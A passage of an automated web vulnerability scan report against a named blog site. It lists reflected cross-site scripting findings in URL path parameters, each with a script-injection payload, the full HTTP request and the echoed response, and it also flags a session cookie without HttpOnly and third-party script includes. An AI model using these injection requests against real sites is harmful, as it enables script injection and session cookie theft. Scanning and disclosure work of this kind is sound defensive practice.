X-Pingback: http://www.davidpoll.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sun, 30 Jan 2011 01:36:01 GMT
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 28955

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-equiv
...[SNIP]...
<a id='flag_en' href='http://www.davidpoll.com/wp-content/themes16b66\'><script>alert(1)</script>deb5d103fe9/fusion/style.css' hreflang='en' >
...[SNIP]...

1.14. http://www.davidpoll.com/wp-content/themes/fusion/style.css [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.davidpoll.com
Path:   /wp-content/themes/fusion/style.css

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload e53ad'><script>alert(1)</script>b5fc692f83c was submitted in the REST URL parameter 3. This input was echoed as e53ad\'><script>alert(1)</script>b5fc692f83c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/fusione53ad'><script>alert(1)</script>b5fc692f83c/style.css HTTP/1.1
Host: www.davidpoll.com
Proxy-Connection: keep-alive
Referer: http://www.davidpoll.com/2011/01/26/quickly-building-a-trial-mode-for-a-windows-phone-application492d1'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6033be6539a/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=0327f22e76c677f66a17b5702dd9d632

Response

HTTP/1.1 404 Not Found
Date: Sun, 30 Jan 2011 01:36:30 GMT
Server: Apache
X-Powered-By: PHP/5.2.16
X-Pingback: http://www.davidpoll.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sun, 30 Jan 2011 01:36:31 GMT
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 28955

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-equiv
...[SNIP]...
<a id='flag_en' href='http://www.davidpoll.com/wp-content/themes/fusione53ad\'><script>alert(1)</script>b5fc692f83c/style.css' hreflang='en' >
...[SNIP]...

1.15. http://www.davidpoll.com/wp-content/themes/fusion/style.css [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.davidpoll.com
Path:   /wp-content/themes/fusion/style.css

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload bf215'><script>alert(1)</script>7a65bd68b30 was submitted in the REST URL parameter 4. This input was echoed as bf215\'><script>alert(1)</script>7a65bd68b30 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/fusion/style.cssbf215'><script>alert(1)</script>7a65bd68b30 HTTP/1.1
Host: www.davidpoll.com
Proxy-Connection: keep-alive
Referer: http://www.davidpoll.com/2011/01/26/quickly-building-a-trial-mode-for-a-windows-phone-application492d1'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6033be6539a/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=0327f22e76c677f66a17b5702dd9d632

Response

HTTP/1.1 404 Not Found
Date: Sun, 30 Jan 2011 01:36:58 GMT
Server: Apache
X-Powered-By: PHP/5.2.16
X-Pingback: http://www.davidpoll.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sun, 30 Jan 2011 01:36:58 GMT
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 28955

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-equiv
...[SNIP]...
<a id='flag_en' href='http://www.davidpoll.com/wp-content/themes/fusion/style.cssbf215\'><script>alert(1)</script>7a65bd68b30' hreflang='en' >
...[SNIP]...

1.16. http://www.davidpoll.com/wp-includes/js/jquery/jquery.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.davidpoll.com
Path:   /wp-includes/js/jquery/jquery.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 8460a'><script>alert(1)</script>d095b2bd0ba was submitted in the REST URL parameter 1. This input was echoed as 8460a\'><script>alert(1)</script>d095b2bd0ba in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-includes8460a'><script>alert(1)</script>d095b2bd0ba/js/jquery/jquery.js HTTP/1.1
Host: www.davidpoll.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=136124068.1296350336.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; PHPSESSID=0327f22e76c677f66a17b5702dd9d632; __utma=136124068.1574482894.1296350336.1296350336.1296350336.1; __utmc=136124068; __utmb=136124068.1.10.1296350336;

Response

HTTP/1.1 404 Not Found
Date: Sun, 30 Jan 2011 01:23:33 GMT
Server: Apache
X-Powered-By: PHP/5.2.16
X-Pingback: http://www.davidpoll.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sun, 30 Jan 2011 01:23:33 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 28919

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-equiv
...[SNIP]...
<a id='flag_en' href='http://www.davidpoll.com/wp-includes8460a\'><script>alert(1)</script>d095b2bd0ba/js/jquery/jquery.js' hreflang='en' >
...[SNIP]...

1.17. http://www.davidpoll.com/wp-includes/js/jquery/jquery.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.davidpoll.com
Path:   /wp-includes/js/jquery/jquery.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload b5197'><script>alert(1)</script>536fa7560e0 was submitted in the REST URL parameter 2. This input was echoed as b5197\'><script>alert(1)</script>536fa7560e0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-includes/jsb5197'><script>alert(1)</script>536fa7560e0/jquery/jquery.js HTTP/1.1
Host: www.davidpoll.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=136124068.1296350336.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; PHPSESSID=0327f22e76c677f66a17b5702dd9d632; __utma=136124068.1574482894.1296350336.1296350336.1296350336.1; __utmc=136124068; __utmb=136124068.1.10.1296350336;

Response

HTTP/1.1 404 Not Found
Date: Sun, 30 Jan 2011 01:23:50 GMT
Server: Apache
X-Powered-By: PHP/5.2.16
X-Pingback: http://www.davidpoll.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sun, 30 Jan 2011 01:23:51 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 28919

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-equiv
...[SNIP]...
<a id='flag_en' href='http://www.davidpoll.com/wp-includes/jsb5197\'><script>alert(1)</script>536fa7560e0/jquery/jquery.js' hreflang='en' >
...[SNIP]...

1.18. http://www.davidpoll.com/wp-includes/js/jquery/jquery.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.davidpoll.com
Path:   /wp-includes/js/jquery/jquery.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 8a3f9'><script>alert(1)</script>d614a331f52 was submitted in the REST URL parameter 3. This input was echoed as 8a3f9\'><script>alert(1)</script>d614a331f52 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-includes/js/jquery8a3f9'><script>alert(1)</script>d614a331f52/jquery.js HTTP/1.1
Host: www.davidpoll.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=136124068.1296350336.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; PHPSESSID=0327f22e76c677f66a17b5702dd9d632; __utma=136124068.1574482894.1296350336.1296350336.1296350336.1; __utmc=136124068; __utmb=136124068.1.10.1296350336;

Response

HTTP/1.1 404 Not Found
Date: Sun, 30 Jan 2011 01:24:09 GMT
Server: Apache
X-Powered-By: PHP/5.2.16
X-Pingback: http://www.davidpoll.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sun, 30 Jan 2011 01:24:09 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 28919

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-equiv
...[SNIP]...
<a id='flag_en' href='http://www.davidpoll.com/wp-includes/js/jquery8a3f9\'><script>alert(1)</script>d614a331f52/jquery.js' hreflang='en' >
...[SNIP]...

1.19. http://www.davidpoll.com/wp-includes/js/jquery/jquery.js [REST URL parameter 4]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.davidpoll.com
Path:   /wp-includes/js/jquery/jquery.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 50915'><script>alert(1)</script>7ada97d6528 was submitted in the REST URL parameter 4. This input was echoed as 50915\'><script>alert(1)</script>7ada97d6528 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-includes/js/jquery/jquery.js50915'><script>alert(1)</script>7ada97d6528 HTTP/1.1
Host: www.davidpoll.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=136124068.1296350336.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; PHPSESSID=0327f22e76c677f66a17b5702dd9d632; __utma=136124068.1574482894.1296350336.1296350336.1296350336.1; __utmc=136124068; __utmb=136124068.1.10.1296350336;

Response

HTTP/1.1 404 Not Found
Date: Sun, 30 Jan 2011 01:24:25 GMT
Server: Apache
X-Powered-By: PHP/5.2.16
X-Pingback: http://www.davidpoll.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sun, 30 Jan 2011 01:24:25 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 28919

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-equiv
...[SNIP]...
<a id='flag_en' href='http://www.davidpoll.com/wp-includes/js/jquery/jquery.js50915\'><script>alert(1)</script>7ada97d6528' hreflang='en' >
...[SNIP]...

2. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.davidpoll.com
Path:   /2011/01/26/quickly-building-a-trial-mode-for-a-windows-phone-application/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /2011/01/26/quickly-building-a-trial-mode-for-a-windows-phone-application/ HTTP/1.1
Host: www.davidpoll.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 29 Jan 2011 23:23:52 GMT
Server: Apache
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Pingback: http://www.davidpoll.com/xmlrpc.php
Link: <http://www.davidpoll.com/?p=403>; rel=shortlink
Set-Cookie: PHPSESSID=782daaca0cd252e2cad9d7049b165cec; path=/
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 56502

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-equiv
...[SNIP]...

3. Cross-domain script include  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.davidpoll.com
Path:   /2011/01/26/quickly-building-a-trial-mode-for-a-windows-phone-application/

Issue detail

The response dynamically includes the following scripts from other domains:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /2011/01/26/quickly-building-a-trial-mode-for-a-windows-phone-application/ HTTP/1.1
Host: www.davidpoll.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 29 Jan 2011 23:23:52 GMT
Server: Apache
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Pingback: http://www.davidpoll.com/xmlrpc.php
Link: <http://www.davidpoll.com/?p=403>; rel=shortlink
Set-Cookie: PHPSESSID=782daaca0cd252e2cad9d7049b165cec; path=/
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 56502

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-equiv
...[SNIP]...
</script><script type="text/javascript" src="http://tweetmeme.com/i/scripts/button.js"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">

</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">

</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">

</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">

</script>
...[SNIP]...

Report generated by CloudScan Vulnerability Crawler at Sun Jan 30 11:21:01 CST 2011.